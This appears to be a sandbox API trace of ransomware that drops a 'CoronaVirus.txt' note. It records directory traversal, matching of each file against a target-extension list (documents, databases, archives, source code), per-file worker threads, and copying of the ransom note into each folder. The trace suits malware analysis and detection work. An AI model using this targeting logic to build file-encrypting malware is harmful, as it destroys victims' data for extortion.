	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.057] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0080.057] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.058] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0080.058] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0080.059] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.059] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0080.059] malloc (_Size=0x1000) returned 0x2f174c0
	[0080.059] _swprintf (in: param_1=0x2f174c0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0080.059] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0080.059] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\eula.rtf", _SubStr="wasse") returned 0x0
	[0080.059] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\eula.rtf", _SubStr="passw") returned 0x0
	[0080.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f174c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0080.059] SetThreadPriority (hThread=0x40c, nPriority=15) returned 1
	[0080.061] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0080.061] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0080.061] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0080.061] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.063] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0080.063] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.064] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0080.064] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.064] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0080.064] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.064] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0080.067] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.068] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0080.068] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.068] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0080.068] malloc (_Size=0x1000) returned 0x2f174c0
	[0080.068] _swprintf (in: param_1=0x2f174c0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0080.068] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0080.068] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0080.068] wcsstr (_Str="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0080.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f174c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0080.068] SetThreadPriority (hThread=0x438, nPriority=15) returned 1
	[0080.070] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0080.071] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0080.071] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.071] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0080.071] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.072] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0080.072] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.073] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0080.073] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.074] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0080.074] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.074] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0080.074] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.074] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0080.074] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.074] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.074] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.074] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0080.074] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0080.074] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0080.074] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1
	[0080.074] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0080.074] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0080.074] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032") returned 26
	[0080.074] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0080.074] wcsstr (_Str="C:\\588bce7c90097ed212\\1032", _SubStr="Microsoft\\Windows") returned 0x0
	[0080.074] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0080.262] _alloca_probe () returned 0x4036d0
	[0080.263] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1032", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1032", lpFilePart=0x316583c*="1032") returned 0x1a
	[0080.263] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe93369d5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d10
	[0080.263] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.263] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe93369d5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.263] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.263] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe916caef, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe916caef, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0080.263] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0080.263] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0080.263] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.263] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0080.263] malloc (_Size=0x1000) returned 0x2f11050
	[0080.263] _swprintf (in: param_1=0x2f11050, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\CoronaVirus.txt") returned 42
	[0080.264] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0080.264] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0080.264] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0080.264] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0080.264] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.264] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
